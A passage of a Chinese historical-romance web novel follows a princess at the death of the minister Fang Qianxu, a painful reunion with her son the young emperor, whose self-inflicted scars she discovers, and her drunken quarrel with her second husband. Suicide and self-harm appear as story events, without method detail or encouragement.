方千绪见到她第一眼,便松了口气似的,只道:“赶上了。”
他身边只有两个伺候着的人,见到明绰来,方千绪便摆了摆手,让他们都下去了。
明绰跑得惊魂未定,看着他,一时之间一句话都说不出来。不过五年而已,他却像老了十岁,就算乌兰晔没有告诉她方千绪都做了什么,明绰也看得出来他活不成了。他的脸色是一种发灰的青,眼睛深深地凹下去,眼窝泛着不祥的紫红,因为一直在出冷汗,整张脸都被浸得发亮。
见她哭,方千绪便摇了摇头,很无奈似的,招了招手,让她过来。明绰坐到他床边,抓住了他的手,第一句就是她自己都不信的话:“我请大夫……”
方千绪便笑了:“医不了啦。毒是我自己下的,我心里有数。”
“你又何必……?”明绰的眼泪一颗一颗往下落,“我都回来了……”
方千绪没让她说完,只是拍了拍她的手背:“段氏不能留了。”
长公主即使回来,要与段氏缠斗,还是无处借力。她已远离洛阳五年,当年得用之人,不是被段知妘杀了,就是像石简一样,不得不低头蛰伏,远离权力中心。原本太皇太后和陛下之间的平衡就非常微妙,长公主的到来势必会打破这个局面,不是他们动手,就是太皇太后动手。而方千绪比任何人都了解段知妘,她向来是那个要先下手为强的人。
那就只有比她更先,更狠,才有一线生机。
方千绪伸出一只手,比划到了明绰眼前。明绰暂时收了眼泪,困惑地看着他。
“我除乙满、驱冯公……”他说一件事,就放下一根手指,“杀段氏,护幼主……长公主嘱托我做的事,我都做到了——哦,”他把小指也放下,“我还活着,撑到了再见长公主一面。”
他笑起来,一只手虚握成拳,非常得意地在明绰面前举着:“我说过,绝不负你,没骗你吧?”
明绰握住了他这只手,像个耍赖的小孩子似的:“这不算,晔儿还小,你还要辅佐他……你答应了我要辅佐他长大的!”
“他已经长大啦。”方千绪无奈地看着她笑了,“他父亲十四的的时候早上阵杀敌了,就是你皇兄,这么大的时候也能一力智斗长沙王了……”
明绰跟他斤斤计较起来:“他才十四岁,皇兄那时都十六了——你最清楚的!”
方千绪辩不过她了似的,见她这样哭,也只有叹气。
“陛下少年壮志,我老了,再辅佐下去,就成掣肘了。”他一副劝明绰看开些的口吻,“为人臣子,要知道进退。此时走,对我,对陛下,都是好事。”
“晔儿他不会……”
方千绪摇了摇头,示意明绰让他把话说完。他看起来没多少力气,明绰立刻住了嘴,听他往下说。
“长公主若信我,我还有最后一谏。”
“你说。”
“不要留在洛阳。”方千绪抓住了她的手,“若要全母子之情,这次见过之后,就回建康吧。你是长公主,还有袁家的扶持……”
明绰怎么也没有想到他说出来的会是这句话,一时愣在了那里。她不想在这个时候跟方千绪争论什么,但怎么也忍不住,脱口而出打断了他:“晔儿还在怪我?”
方千绪非常怜悯地摇了摇头。
“陛下已经长大了,长公主当时的为难,他心里明白……”
“那……”
“就是因为他长大了,”方千绪放开了她的手,“他已经不需要母亲了。大燕,也绝不会再出第二个太后了。”
沉默,明绰实在不愿意听这样的话,可是看着眼前的人,又不想在他临终前还与他争执,只能紧紧咬着牙关,咬得牙缝里一片酸苦。
方千绪看出了她的情绪,也没有再劝,半晌,突然道:“若是当年……”
他停下来,不说了。明绰追问了一句:“当年什么?”
可是方千绪摇了摇头,再也没说下去。当年他为谢郯谋定,抱来了东长巷尾的那个孩子,一语判他为中兴之主——直到今天,方千绪都没有觉得自己判错了。
可是萧盈从未用他。真正信任他,礼遇他,让他一展抱负,位极人臣,甚至青史留名的,是那个被他们一条判语就夺走了一切的女孩儿。
若是当年,他愿意站在谢拂霜那一边,扶立女帝呢?但这个念头只是冒出来,他便苦笑着,咽下去了。
那样的话,他早已被谢郯杀了。
方千绪看着明绰,眼中落了一行泪,只道:“往者不可谏啊。”
他的手伸出来,微微颤着,摸到了早已准备好的一把剃刀。明绰犹豫着接过来,方千绪几乎没有力气抬手了,只能做了个示意,要明绰替他剃度。
“我本佛前灵台境,奈何一身染尘埃。”他的声音低到几乎听不见,“我从哪里来,要回哪里去……”
明绰忍住了一声哽咽,什么都没说,举着剃刀伸到了方千绪头顶。他的头发几乎已经全白了,枯草似的在头顶丛生。那剃刀锋利,轻轻一刮,头发便轻飘飘地落下来,很快就积在了他的身边。方千绪尽了自己最后的力气,在榻上结跏趺坐,手持伏魔印,护于丹田。
这是他第三次剃度了,每到他觉天地之大,却无处容身时,总还有佛门慈悲。可是真正行至水穷处了,回头一看,才发现他一生求伟业,原来只求来过眼云烟。
错了,从四十多年前,慧玄从佛前转身,看见那个人的第一眼起,就注定大错特错。
他长长地、长长地吐出一口气:“谢郯负我。”
明绰的手顿了顿,没有听清楚:“什么?”
可是慧玄含着笑,已经闭上了眼睛。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第151章
方千绪自知将死,已为乌兰晔留下临终奏表,献上十策。人口土地,军务边防,水利农耕,律法礼教,胡汉相融……能想到的,他都已经写明。尚书台中何人可用,长于何处、短于何处,也都一一注明。
写这封奏表时,他尚不知能否见到明绰最后一面。忆及当年随先王和皇后出征,初入洛阳,转眼已是一十三载,故人皆逝,思之唯有涕零。他特意交代,
临终前他会放下所有官衔,重回佛门,只愿能依照天竺佛国的习俗,净身投火,解脱皮囊,归于空寂。
但是乌兰晔并没有听他的。为表哀悼,陛下不仅保留了方千绪所有的官位,还追谥他为贞定侯,特许配祀太庙,世代不毁。
明绰提出过折衷的意见,想按照佛家的规矩,将慧玄尸身烧化出来的舍利子葬于洛阳佛塔之下,既有尊荣,也算是成全了他的心愿。可是乌兰晔只是嘴上应和了母亲两句,实际上还是命人建陵造墓,想将贞定侯入土为安。明绰看出来他有自己的主意,也就没再多说什么。
她记着方千绪临终那几句话,晔儿已经长大了,现在他是说一不二的天子,明绰尽量不多发表看法。她带来的大雍兵马,乌兰晔命石简带回城郊羽林军大营中,给他们划了一块地,允许他们休养。明绰被乌兰晔接回宫中,仍旧奉于重华殿,但袁綦却被他安排去了在洛阳的大雍驿馆,只把他当成了舅舅派来的普通使臣。对此,明绰也没有多说什么。
可是没过多久,她还是没忍住在段氏的身后事上多说了几句。
方千绪的临终奏表里也提及了此事,建议乌兰晔保留太皇太后的尊荣。当年段知妘相助乌兰郁弗入主长安,对大燕有定国之功。大燕的开国功臣已经全部死在乌兰晔手里了,他若再对段氏刻薄,恐怕要寒了人心。太皇太后当年一力革除蛮夷恶习,推行归汉之策,在长安开设汉学,广建佛寺,设道场鼓励佛经的翻译和传播,迁都洛阳之后,她也没有因与萧皇后的龃龉而废其政……平心而论,段知妘终其一生,对大燕的方方面面都有贡献。人死灯灭,青史之下,至少应该记得她的功绩。
他拿出了当年萧盈处置谢太后的旧事来规劝,陛下若肯宽容,朝堂中流的血越少越好,局势稳定,人心必能归附。
但乌兰晔不愿意宽容。他恨段知妘已入骨,别说保留她太皇太后的尊荣,乌兰晔把段氏夷族了还不够,甚至还想把段知妘的尸身挫骨扬灰。明绰不得不出面劝阻,好说歹说地才拦住了乌兰晔。但儿子离开的时候脸色着实不妙,明绰隐隐觉得还是得罪了他。
明绰感觉得出来,对于她改嫁一事,乌兰晔心里非常抵触,言语间根本不愿意提到袁綦。她提出过想去皇陵祭拜,乌兰晔也推说路远不便,他事情又多,等空了再陪母亲去。明绰只好日日居于重华殿中,无所事事。接任方千绪位置的杨崇也是曾经的萧后党人,他来求见了几次,明绰都有意避嫌,表现出了没有沾手朝局之意。
乌兰晔侍奉得倒是很周到,几乎晨昏定省,一日不落。重华殿里一切布置如旧,甚至还保留着乌兰徵一件旧衣。有时晔儿一走,明绰就揽着那件旧衣,好像丈夫还活着似的,问他,她该拿儿子怎么办呢?
可是衣服只是一件衣服,乌兰徵没有办法回答她了。
她来,名义上是来为大雍解释为何扣押使臣的,但是乌兰晔一直不问。明绰只好自己寻了个合适的机会,小心地向他解释了当年冯濂之的背叛,也解释了为何这么多年方千绪都没有告诉他。可是乌兰晔听完了,也没有表现出如何的愤怒伤心,既然如此,冯濂之留给母亲和舅舅处置便是。明绰听他这样说,心里便凉了一截。
他这话里的意思,好像母亲只是来看看他,之后还是要回建康的。
明绰便留了心思,试探了几次,但始终探不明白乌兰晔的态度。他早已洗清了当初“萧皇后谋逆”的罪名,但一直没有下旨封明绰为太后。好像准备着随时送母亲回去,但又表现出难得的依恋与温情,近日还养成了一个习惯,午饭来陪母亲一起吃,午后便要赖在明绰身边小憩一会儿。
明绰一边提着一颗心,弄不明白儿子在想什么,一边看着他卧在自己臂弯的睡颜,就忍不住心里逃避,什么都不愿意去想,只想这一刻久一点,再久一点。
但乌兰晔毕竟已经不是当年的小孩子了,这样枕在她身上睡觉,不多时明绰就抱不住。她一动,乌兰晔就醒了,但不肯醒透,脑袋拱了一拱,又伏到了她膝上。明绰便轻轻俯身,在他鬓角亲了一下。
乌兰晔发出了一声闷住的轻笑,突然问她:“娘,我是在做梦吗?”
“不是梦,”明绰轻柔地摸了摸他的脸,“娘在你身边。”
乌兰晔“嗯”了一声,抓住了她的手。
明绰想了想,主动对他说:“杨崇今日又来过了。”
乌兰晔还是没睁眼,似是并不意外:“还是为了立后的事情吗?”
明绰点点头:“你怎么想?”
乌兰晔哼唧了一下,根本懒得回答,明绰便没忍住笑了一声。
她终于愿意见杨崇了,就是因为她毕竟还是天子的母亲。立后之事,杨崇来问她是天经地义的。尚书台若真是连她的意思都不问就为乌兰晔选定了皇后,那明绰肯定要生气的——其实她私心里甚至觉得晔儿根本还是个孩子,怎么就能娶妻了呢?杨崇真是咸吃萝卜淡操心!
但是把为人母的私心放到一边,明绰也清楚,立后代表着成人,从此以后,乌兰晔就要亲政了。所以她还是耐着性子,听杨崇把皇后的人选一个个列了一遍。有乌兰亲族的女儿,也有汉人世家的贵女,甚至还有一位,是当年乌兰徵征漠北凯旋之后,贺阆王为了与大燕修好,送来洛阳的孙女儿。
那女孩儿明绰记得,来的时候才七岁,当年萧皇后做主,封了她一个郡主。她这么多年一直在洛阳长大,汉话学得极好,所以尚书台中也有人觉得,娶了她,跟贺阆交好,也是不错的。
乌兰晔已经否了这个建议。老贺阆王早已逝世,如今即位的又不是这小郡主的父亲,只是她叔叔。对于新贺阆王来说,这个女孩儿能有什么分量吗?娶她的意义真的有这么大吗?
杨崇也是同意这个看法的,可是别家的女子,乌兰晔也是淡淡的,始终不肯定。于是杨崇又跟明绰商议着,如果大燕朝中的女子陛下都不满意,是不是可以延续与大雍的姻亲,向建康求娶崇安公主。
乌兰晔闭着眼睛,只问母亲:“舅舅舍得吗?”
明绰听到杨崇那个话就已经发过怒了。她自己尝过了远嫁的苦楚,心疼玉襄小小年纪,不想她也吃这样的苦。另一方面,她又觉得,两朝修好,有她一
个还不够吗?还是说,他们想着她总是要回建康的,才想讨一个新的萧氏公主过来?
她不表态,乌兰晔便笑:“原来是母后不舍得。”
明绰搂着他,心里极不是滋味,只道:“还不是你挑三拣四的,把令君都逼得没法子了。到底喜欢谁家姑娘,也给个准话。”
乌兰晔只道:“我谁也不喜欢。”他终于睁开了眼睛,调整了一下姿势,在母亲膝上躺躺好,又道,“阿耶二十四岁才娶了你,杨崇急什么?”
就是。明绰心里是同意儿子的,嘴上却仍要替杨崇开脱两句,讲讲大道理:“当年四海未平,你阿耶是让战事耽搁了。如今杨令君也是为了大燕的长远……”
乌兰晔一副不爱听的样子,转了脸,埋进了明绰怀中。他这样撒娇,明绰就什么都不说了,一面心里又忍不住想,萧秧没比乌兰晔大多少,可是他喜欢袁韶音,明绰就觉得挺合适,也是时候婚配了。唯有轮到自己的骨肉头上,就怎么也不愿意接受儿子已经长大了的事实。她有些耻于这样明目张胆的偏心,又因此生出一股难以描述的柔软,再次伸手抱住了晔儿。
“那就先不急,”明绰轻声道,“娘在你身边,以后慢慢再找你喜欢的,娘给你做主。”
她这样说,乌兰晔却又什么都没应。他似是压抑着复杂的情绪,但明绰看不到他的脸,只能感觉到他抬起手,轻轻环抱住了她的腰。
他的动作间带起了袖子,明绰看到了什么,眉间一动,突然抓住了他的手腕,把他的袖子往上撩。乌兰晔非常放松,先是任由母亲的动作,然后才想起来手上的疤,猛地坐了起来,再要遮掩已经来不及了。
明绰死死地盯着他手臂上那条新旧交错、反复愈合的伤痕,指甲不自觉地嵌进了乌兰晔的手腕里。
“阿娘……”乌兰晔试图把手收回去,但是明绰没让。她抬起头,还没说话,眼眶里已经迅速聚起了两汪泪。
“是段知妘……?”她的声音哑了。
“不是。”乌兰晔终于把手收了回来,逃避着母亲的目光。
明绰轻轻地吸了一口气,难以相信似的:“是你自己?”
乌兰晔就不说话了,垂下眼睛,做错事一般。
明绰的眼泪掉下来:“为什么?”
乌兰晔见她掉泪就皱了眉,左手不自觉地攥紧了右手的手腕,任她看着自己,一句话也不肯说。
刚迁回洛阳的时候,他有一个隐秘的习惯,夜里睡不着,他就会偷偷地来重华殿,爬到父母的床上去睡。有一天迷迷糊糊的,好像感觉父皇来看他了,掀起了被子,握着他的脚踝打量。他吓得动弹不得,又听见母后斥责父皇的声音。然后他们俩说话的声音就都变得很轻,像是耳鬓厮磨,又夹着轻微的笑语。没一会儿,又听见父皇问他:“你赖在这儿,我们怎么睡啊?”母后便笑着推搡父皇,让他去睡床脚。
乌兰晔实在没有忍住,爬起来叫了一声“阿耶”,然后就什么都没有了。整个重华殿里空荡寂静,半空里漾着的只有经年无人打搅的灰尘。而他的疤在痒——乌兰晔不知道怎么跟母亲解释,从他记事起,那条疤就没什么感觉,不点上灯仔细看,甚至看不到那里有一条疤。但那天晚上他就是觉得疤很痒,像是有什么东西要从他皮肉里挣脱出来。于是他鬼使神差地掏出了阿耶留给他的匕首,划破皮肉,看着血涌出来的一瞬间,他就感到了难以言喻的痛快。
明绰又叫了他一遍:“晔儿……”
但是乌兰晔突然站了起来,片刻前母子之间的温情就像那天晚上的梦一样,突然就散了。明绰看着他飞快地披上外衣,那点儿面对母亲的孩子气却被他脱了下来,毫不留恋地扔在了她的脚边。然后他一句话也没说,连告退都没有,就逃也似的离开了重华殿。
第152章
守在大雍使驿门口的是袁綦的亲卫,即使明绰身披氅衣,兜帽遮脸,他也一眼认出了这是谁,未敢阻拦,直接放了进去。
袁綦没想到她会来,自从明绰被乌兰晔接进宫以后,他们就没再见过。他的居室非常清简,上一任的使臣撤离得匆忙,驿馆在这五年间几近废弃,袁綦也就是凑合着收拾出了一张床榻和一张矮几。明绰突然来访,都不知道让她坐哪儿。
明绰把兜帽摘下来,示意他不用讲虚礼,一边视线已经落到了他正在写的奏疏上,一看就是准备要递给乌兰晔的。但她还没多看几眼,袁綦已经把笔墨都收拾起来,腾出位置,给她倒了一杯粗茶。
明绰抬头看了他一眼:“晔儿仍未召见你?”
袁綦低低地“嗯”了一声。萧盈封了他使持节,命他随长公主至洛阳,他自然也有他的公务。两国重新互相派驻使臣的条款,互市的关税等等杂务,都要袁綦去跟乌兰晔谈好,才好跟萧盈复命。可现在乌兰晔就是不肯见他。
“怎么不来告诉我?”明绰皱起眉头,“我总会想法子……”
但是袁綦只是笑了笑:“若是你去说,大燕陛下更不会愿意见我了吧?”
明绰一时语塞,只好默然地去端茶喝。
出发的时候,虽然明知道萧盈希望她日后回去,但她还是想着自此在洛阳与儿子相伴。如何安顿袁綦,其实也很是让她为难了一阵。那天晚上说了想要带他一起走,就是担心出使一事又横生枝节,袁綦若是留在建康,会有人会以夫妻人伦的礼法来阻挠她。可是袁綦没有给她任何的回应,明绰醒来一想,也觉得这样可能不妥。
她琢磨了好几日,才认真地跟袁綦谈了一次。她知道,这桩婚事太委屈了他,她定会去含清宫替他求官,这桩婚事也可以作罢,等她离开建康,他便可自由另娶……可是她话还没说完,袁綦就打断了她,说此事全由陛下做主。
萧盈自然是命他护送。他已经答应了明绰让她回去,就顺水推舟地起复了袁綦。出使邻国是攒功劳的好差事,非亲贵能臣不可能得到皇帝的信任与威权,这似乎是萧盈终于肯原谅的信号,袁增自然也乐见其成。
但明绰现在看见晔儿这个态度,就忍不住有些诛心的猜测。难道萧盈就是看准了袁綦到洛阳会身份尴尬,想着明绰会因此与儿子离心,她就愿意回建康了?还是他暗中给袁綦下了什么命令,要设法带明绰回去吗?
她并不确定皇兄是怎么想的,袁綦这一路上也没跟她说什么。
明绰其实非常恼火袁綦现在这副样子。夺他军衔时,他逆来顺受,重新起复他,他也受宠不惊。低着头,把“雷霆雨露,皆是君恩”几个字践行到了极致。有时候她看着他,都感觉认不出他是谁了。
可是每次想发作的时候,心里又总有一个声音提醒,她就是君恩。磋磨袁綦的雷霆雨露,就是她带来的。
若是袁綦当真只是怨她,她也不会在此刻举目四望,觉得只能来见他。偏偏他看了明绰一眼,就能看出她的心烦意乱,低声关心了一句:“怎么了?”
明绰一张嘴就是自己都没想到的哽咽:“晔儿他……”
她说不出口,只能把手伸出来,比划了一个自己举刀划自己的动作。那个疤痕触目惊心,仅仅是这样转达,明绰都觉得真有刀片划在了她身上。袁綦茫然地看了她一会儿,然后迅速在她的眼泪里明白了什么,一时神色也有些异样。
明绰想不明白:“他为什么要这么做啊?”
袁綦也不知道该说什么,低声问了一句:“你可问过他?”
明绰点了点头:“他不肯说。”
“他还在怪你?”
这个问题明绰又不知道该如何回答了。与晔儿重聚以来,他们
从来没有谈及当年她离开的事情。方千绪说晔儿明白她的苦衷,明绰也觉得晔儿明白了,已经不怪她了,否则他怎么会愿意这样与娘亲近呢?可是那种亲近也很古怪,她无论如何都说服不了自己,只要晔儿一走,她心里就会升起非常强烈的不适。
“他好像是在……”明绰斟酌着词句,“做戏。”
袁綦挑了挑眉,没听明白:“做给谁看?”
明绰撑住了自己的额头,只觉得心力交瘁:“我不知道。”
做给她看,又或者,做给他自己看。晔儿肯定也是想她的,明绰不怀疑这个。他用力地想要补偿什么,像是在模仿记忆里那个只有七八岁的孩子是如何亲近母亲的,模仿得他自己都信了。
但他是明绰的亲生骨肉,她怎么会看不出来他眼底的疏远和戒备呢?
明绰来之前已经做好了心理准备,当年她有耐心一点点修复和儿子的关系,现在她也可以。可是她没有想到会遇到这样无从下手的情况。晔儿真的已经长大了,一切都来不及了。
他对父亲的情绪就没有这么复杂,明绰又开始嫉妒乌兰徵了。有时候她甚至会想,就是因为乌兰徵不在了,而她还活着,晔儿才会这样。当年她就应该跟乌兰徵一起死在宣平门。
她不留神把这话说出了口,袁綦的脸色就有些不太好看。明绰心里只想着晔儿的事,偏着头落泪,竟也没有察觉到。袁綦垂下头,自己消化了一番,最终也只能柔声地劝了一句:“慢慢来吧。”
明绰沉默下来,自己抹了抹眼泪。她知道袁綦也没有什么办法,来找他,也并不是指望他能出什么主意,只是这些话能说出口,心中好歹觉得松快了一些。她略微平复了一番,又问:“你在这里一切都好?”
“都好,”袁綦回道,“你不必忧心我。”
明绰又道:“若是晔儿再拖着不肯召见,你可去拜会尚书令杨崇,若是杨崇不见你,你就去找散骑常侍郗芳,他二人总有一个会帮你进言的。”
“好。”袁綦点了点头,都记下了,又道,“多谢长公主。”
他这么一谢,明绰便又无话了。两人对坐着,你看看我,我看看你,最后明绰只好站了起来,跟他告辞,自己回宫去了。
她一路上都在想,要不要亲自出面帮袁綦在洛阳朝中疏通一番。袁綦没有做过使臣,又是如今这个身份,要搭起断了五年之久的邦交,多少有些为难。若是辜负皇命,以后回去了也会受到萧盈的惩处……正琢磨呢,一抬头竟发现重华殿里已经有人在等她了。
自从被发现了手臂上的秘密,乌兰晔还是这三天里头一次又来看母亲。可是明绰一眼就看出他脸色不大好看,身边都没留人伺候。于是她也没说什么,自若地进了殿,解开了身上的氅衣。
她不说话,乌兰晔果然就按捺不住:“母后去哪里了?”
明绰正把氅衣往屏风上搭,听见这话心里就马上蹿起来一股火。忍了又忍,才尽量保持住了面上的平静,回头看着儿子:“你不肯见大雍的使臣,却把使驿盯得这么紧,是什么道理?”
乌兰晔显然没想到她上来就反客为主,来质问他了。一时竟也没有否认他派人盯着袁綦的事情,驴唇不对马嘴地又来了一句:“母后有了新欢,竟是这样分不开吗?这就忍不住去找他了?”
明绰的脸马上就拉了下来,冷冷地看着他。她真是太客气了,心里总觉得亏欠了儿子,对待他这样小心翼翼的,才让他得寸进尺。明绰让他气得头晕,转身就要进里间,不想理睬他。
乌兰晔脸上浮现出了无法掩饰的气恼,不依不饶地跟着母亲走了进去。明绰在床边坐下,看见他站在那儿,倒是终于没有了那股子装亲近的劲儿了。
“改嫁袁綦,并非我所愿……”明绰深吸了一口气,硬是摁下去满心的火气,想把儿子当个大人一样跟他讲道理。可她这句话还没说完,乌兰晔便问:“所以母后对他并无情意吗?”
明绰噎了一下,没忍住又抬起手揉了揉眉心。
情意是有的,但很多事都排在了这份情意前面,这些事也已经毁了这份情意——而这里面最重要的,就是现在站在她面前,正在质问她的这个孩子。
明绰放下了手,几乎是在跟儿子赌气:“有。我对他有情意。”
乌兰晔的胸口剧烈起伏了两下:“胜过你对阿耶的情意吗?”
明绰咬紧了牙关,克制着打儿子的冲动。乌兰晔抬起手,突然指着房中还挂着的乌兰徵的旧衣,又道:“你说过,你只是生他的气,不是不爱他了。那现在呢?你不爱他了吗!”
“没有人……”明绰没忍住哽咽了一下,但她还在克制着,“在我心里,没有人比得过你阿耶。但他不在了,你明白吗?他回不来了……”
可是乌兰晔抿紧了嘴,整个人往后一仰,非常抗拒的姿态。他理解不了,他也不想理解。父母是他见过的最相爱的一对夫妻,即使他与他们相处的时间那样短暂,即使后来发生了那么多事,他也始终记得那时走进长秋殿的时候,他们两总是挨得很近的样子。阿耶好像黏在了娘身上,而娘看见他进来了就会推一下阿耶,但脸上也是笑着的。
七八岁的乌兰晔不肯承认,他那时并不为了这事儿高兴,父母之间太紧密了,他觉得自己像个外人,也很担心他们会再生一个孩子,就更不要他了。
可是现在他什么都愿意,不做这个皇帝也没关系,只要他有一天醒过来,还能看见父母那样笑着。
“谁逼你了?”乌兰晔突然问。
“什么?”
“你说嫁他非你所愿,”乌兰晔咄咄逼人,“谁逼你了?”
袁增,谢聿,桓廊,陈缙,王勤……明绰苦笑了一声,觉得把南朝的三台诸部官员名录给儿子看可能都更快一些。
“建康有很多人,不喜欢看我独身寡居,怕我离皇兄太近了,就会摆弄朝政,插手立嗣。”明绰不知道这样说儿子是否能够理解,“他们想把我嫁出去,让一个男人来约束我恪守妇道……”
“舅舅不是很疼你吗?”乌兰晔不肯信她,这不是他所了解的母亲,她在大燕做皇后时,从来没有对那些攻讦她以妇人之身擅政的朝臣们软弱妥协过,“你会怕那些人?”
明绰只有苦笑。就是皇兄太疼她了,让她也以为躲进含清宫里就没事了。是谢星娥把她逼出了含清宫,彻底断了她的后路——可是儿子这样问她,明绰也忍不住想,真的是谢星娥逼的她吗?
明明是萧盈啊。是因为他的爱,她才被困在建康,不得不在权力的漩涡里步步深陷。是因为他的爱,她才错过了晔儿的五年,才会在这里被儿子质问。可她最恨的就是,最后还是要靠他的爱,他的在乎和他的心疼,她才能回到儿子身边,甚至在这个过程里,她都忘了最开始是谁不让她走的了。
可不也是“雷霆雨露,皆是君恩”吗?在萧盈面前,她和袁綦也没那么大的差别。
“你不明白……”
“我是不明白。”乌兰晔看着她,“母后选择袁綦,难道不是因为他的父亲是南朝的大将军吗?”
明绰被他的语气深深刺痛,再也没有克制得住眼泪。她咬着牙,无声地任泪水浸润了整张脸,才最终挤出来一句:“你以为我是为了自己的权势?”
乌兰晔没说话,但他脸上的神情说明他就是这么想的。
“是,我选他,就是看中了他父亲是大将军。我要得到袁增的支持,我要在朝中说话有分量,我要再也没人敢来随意置喙我该做什么不该做什么!这样我才能回到你身边来!否则我就算杀了十个冯濂之,朝中也不可能允许我来‘出使
’洛阳!你见过天下有哪个女子做使臣的吗?你会派一个女子去出使邻国吗?!”——即便如此,真正的皇帝使持节依然是袁綦,而不是她。明绰的眼泪落得更凶,一口气几乎喘不上来,“我不要什么权势,我要的是你啊!”
乌兰晔毫不犹豫地顶回去:“所以你把我留在长安七年?”
明绰猛地往后退了一步,像是被儿子当面甩了一巴掌。可是她无法反驳。
“好,”明绰迅速地抹了一把脸上的泪,让自己冷静下来,“那我不要他了。”
乌兰晔愣了一下,看着母亲。
明绰:“我可以今天就让袁綦回建康,我和他的婚事就此作罢,从今以后,我绝不再多看别的男人一眼,一心一意地为你阿耶守寡,我不做萧氏的公主,只做大燕的太后……”
乌兰晔像是被“太后”两个字刺到了一般,棱角还未完全分明的脸上突然抽了一下。明绰便明白了什么似的,讽刺地笑了出来。
“婚事哪还有作罢的道理?”乌兰晔近乎残忍地吐出来一句话,“母亲既已改嫁,如何还能做大燕的太后?”
明绰毫不意外,乌兰晔忍到今天才终于说了实话,她此刻已经只想笑。
“你一直在等,对吧?”明绰看着儿子,“你就是在等着我去找他,你就有这样的借口……”
乌兰晔没有说话。明绰仍是笑着,觉得说不出的可笑。
“我宁可让袁綦恨我,也提防着他有一天会以丈夫的身份阻止我离开建康……”但袁綦其实不是那个会拦她的人,明绰心里知道这个,她真正担心的一直都是萧盈,“我还提防了皇兄……就独独没有提防你。”
袁綦真的没有阻拦她,甚至萧盈都没有以她的丈夫为借口继续把她困在建康,反而是她的儿子,现在百般寻找理由,不许她留在洛阳。
乌兰晔不愿意再说下去了,他退了一步,低下了头,突然道:“明日我陪母亲去皇陵。”
下一句他没有明说。见过阿耶一面,她就可以回去了。他知道母亲已经听懂了,转身便要走。
“晔儿!”明绰又叫了他一声,“你其实从来都没有原谅过我那天晚上抛下你,是不是?”
乌兰晔没有立刻回答她。他背着身,轻轻地仰起了头,试图把眼泪憋回去。然后他回过脸,反问了母亲一句:“娘,你有没有原谅过我当年在莲子汤里给你下毒?”
明绰回答得毫不犹豫:“我早就说过,我没有怪你……”
“我也没有怪你。”乌兰晔打断了她。可是明绰竟然听不出来这到底是不是他的真心话。母子之间,怎么会走到如今这样的地步呢?乌兰晔似乎也在想这个问题,所以他哭了。
该怎么让母亲明白呢?他无法忘记独自在长安的那七年,也无法忘记那碗被他亲手送出去的莲子汤……唯独理解了母亲那一夜的没有回头。母子之间的缘分已经这样浅了,不回头才是对的。
“既然没有回头,”他说,“就该一直往前走。”
明绰站在那里,突然被抽走了所有的力气一般,软倒在了地上。十四年前的剧痛再一次席卷过她的身体,从深处把她撕裂。她看着他转身离开的背影,像是第二次生下了这个孩子。分离血肉,剪断脐带,从此不再共享呼吸。她听见他的啼哭,在夜风里呼唤着阿娘。然后终于彻底断绝。
第153章
大雍的使臣在洛阳仅停留了一个月不到,就启程打道回府。
乌兰晔年少立威,瞧着多么老成持重,其实还是有些小孩子脾气,无论重臣如何劝谏,说他这样要得罪南朝的,他就是不肯接见袁綦。最后只能是杨崇出面,跟袁綦把诸事议定。
杨崇其实更愿意跟萧皇后谈,但她诸事不理。离开前的几天她都在皇陵,连洛阳都没有回去。
先王驾崩得突然,洛阳的皇陵没有在他生前就准备好,到现在还在建,乌兰徵的棺椁也只是被暂厝于地宫。明绰本想提及先王遗愿,可是最终也没有开口。
乌兰晔生于中原长于中原,早已是个彻头彻尾的汉人。在方千绪的影响下,他笃信佛陀,连阿瓦神女的传说都没人跟他讲过,想来也是不可能理解父亲对神女湖的牵挂了。他在皇陵的修建上不计靡费,为的是他的孝心和大燕千秋万代的威严。再去说那个,没意思了。
到最后,明绰也只是问,皇陵还会不会有她的位置。
有的,皇陵从设计之初,就留了皇后合葬的位置,但那时母亲尚未改嫁。乌兰晔喉中哽了几下,还是没把这话说出来。
他们走的那天,乌兰晔亲自来送,临到别时,还是落了泪。明绰反而不哭了,隔着他的袖子,触摸他手臂上的那道疤。乌兰晔十分不自在,可是她最终什么都没说,既没有再问为什么,甚至也没有多余的叮嘱,就这样沉默着,转身上了马车。
从那一天起,长公主的营帐里就没有断过酒。
她在建康时就十分好饮。但那是宴饮,她喝得尽兴,是因为有人陪她取乐。如今只是一个人喝,喝得多,醉得厉害,第二日颠簸就要难受,难受了她就不让走,十分耽误行军。但也没人敢劝。
直到在寿阳停到第三天,袁綦才终于忍无可忍地进了长公主的营帐。
地上已经丢了一个空坛子,明绰还没醉,但是已经两颊酡红,坐得歪歪斜斜。看见袁綦进来,也没说什么,只朝他招了招手,让他过来。她面前只有一个酒樽,明绰给他斟满,要他一起喝,但是袁綦轻轻地推开,表示他不喝。明绰就拿回去,自己仰脖饮尽,也不等他说话,就道:“不喝你就出去。”
她说着又要给自己倒酒,但是袁綦伸手拿走了酒樽。明绰抬头看了他一眼,沉着脸,想直接对着坛口喝,袁綦又伸出手,把酒坛也拿走了。没控制住脾气,手里一甩,那酒坛就丢出去,在地上碎了个干净。明绰坐在那里,足足愣了半刻,突然站起来,抬手就打了袁綦一耳光。
袁綦没动。他本来没想跟明绰动怒,摔长公主的酒坛,怎么都是他犯上了。所以他挨了这一下,也就是垂了眼睛,低声道:“长公主恕罪。”
他不认错还好,这个姿态,明绰反而更生气了。她瞪着袁綦,只觉得一股火从胸口烧起来,烧得她眼眶里一片热,抬手又打。袁綦偏过头去避了一下,她的指甲抓在了他下巴上,留下了几道痕迹。明绰气得狠了,
又狠狠地推了他一把,袁綦任她推搡,退了一步,眼里明明白白地闪过了一丝恼火,又被他压制下去,还是垂着眼睛,不说话。
明绰气的就是他这副样子,恨不得把他撕成碎片,一时胸膛剧烈起伏,却说不出什么,齿缝里狠狠地蹦出了两个字:“跪下。”
袁綦沉默。牙关无声地绷紧,挨打的半边脸泛了红,好一会儿,他撩起袍摆,跪在了明绰面前。明绰看着他,突然想起那年盂兰盆会,他也是这样跪在她面前,可是敢伸手抓她的衣袖。那时候她怎么会那么想要他呢?一股强烈的欲呕的冲动从胸口泛上来,明绰从来没有觉得他如此面目可憎过。
“说话。”明绰命令他。
袁綦抬起头,还是沉默着。
他的沉默招来的又是明绰的一巴掌:“说话!”
袁綦的忍耐明显也已经到了极限,他看着明绰:“长公主要我说什么?”
“你想说什么?”
“我没有什么想说的。”
“你有!”明绰无法控制地提高了声音,“有话就说!摆这副样子给谁看!”
